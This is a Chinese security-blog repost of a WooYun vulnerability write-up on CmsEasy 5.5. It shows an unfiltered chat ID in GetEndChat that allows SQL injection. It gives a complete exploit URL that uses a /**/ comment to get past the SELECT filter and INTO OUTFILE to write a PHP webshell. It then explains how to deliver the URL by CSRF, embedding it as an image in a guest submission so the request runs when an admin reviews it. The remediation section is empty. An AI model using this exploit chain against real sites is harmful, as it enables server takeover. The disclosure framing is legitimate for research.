记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

cmseasy csrf导致sql注入绕过union getshell

2014-12-03 00:15

首先我们分析一下sql语句:

admin/live/header.php:(line:16-21)

code 区域
include('../../include/config.inc.php');

include(CE_ROOT.'/include/admin/check.inc.php');

include(CE_ROOT.'/include/celive.class.php');

$admin_header = new celive();

$admin_header->template();

$admin_header->admin_xajax_live();





然后我们跟到admin_xajax_live这个函数里面看看:

code 区域
function admin_xajax_live() {

if (!$this->admin_xajax_live_flag) {

$this->admin_xajax_live_flag=true;

include_once(dirname(__FILE__).'/xajax.inc.php');

include_once(dirname(__FILE__).'/xajax.class.php');

global $admin_xajax_live;

$admin_xajax_live=new xajax();

$admin_xajax_live->setCharEncoding('utf-8');

$admin_xajax_live->decodeUTF8InputOn();

$admin_xajax_live->registerFunction('ChangeStatus');

$admin_xajax_live->registerFunction('AdminResponse');

$admin_xajax_live->registerFunction('AdminSound');

$admin_xajax_live->registerFunction('AdminDecline');

$admin_xajax_live->registerFunction('AdminChatHistory');

$admin_xajax_live->registerFunction('AdminPostdata');

$admin_xajax_live->registerFunction('EndChats');

$admin_xajax_live->registerFunction('GetEndChat');

$admin_xajax_live->registerFunction('AdminExit');

$admin_xajax_live->processRequests();

}

}





看到注册函数这里了有一个GetEndChat:

code 区域
function GetEndChat($chatid) {

global $db;



$objResponse = new xajaxResponse('utf-8');

$sql = "SELECT `status` FROM `chat` WHERE `id`='" . $chatid . "'";

@$result = $db->query($sql);

if ($result[0]['status'] == 0) {

$objResponse->script("alert('<?php echo $lang[reception]?>');window.parent.close();");

}

return $objResponse;

}





然而这个$chatid没有做任何过滤就被传递进来了,之前有人对这里前台进行分析过:



http://site.com/CmsEasy_5.5_UTF-8_20140818/uploads/celive/admin/live/header.php?xajax=GetEndChat&xajaxargs=xxxxx' union select/**/'<?php phpinfo?>' into outfile 'D:/APMSERVER/APMServ5.2.6/www/htdocs/CmsEasy_5.5_UTF-8_20140818/uploads/upload/images/shell.php'#



这里我们要说明一下,由于全局对危险函数做了过滤和检测select后面要是不添加/**/这里是被拦截的

然后我们队此url进行url编码:

下来我们以游客身份进行投稿:

6.png





到这里大家应该就明白了,管理员是要审核的,我们这里把这个get链接,发给了一个图片,管理员审核的时候,看到图片其实我们的请求就已经发出去了,当然了在响应的目录下面也已经生成了,shellcode

7.png





我们再看看uploads/img底下有没有我们想要的文件:

8.png





对了这里差两个括号,补上就是了。。。。。。

ok到此.............

漏洞证明:

修复方案:


知识来源: www.wooyun.org/bugs/wooyun-2014-074869

阅读:103121 | 评论:0 | 标签:注入 CSRF cms

想收藏或者和大家分享这篇好文章→复制链接地址

“cmseasy csrf导致sql注入绕过union getshell”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云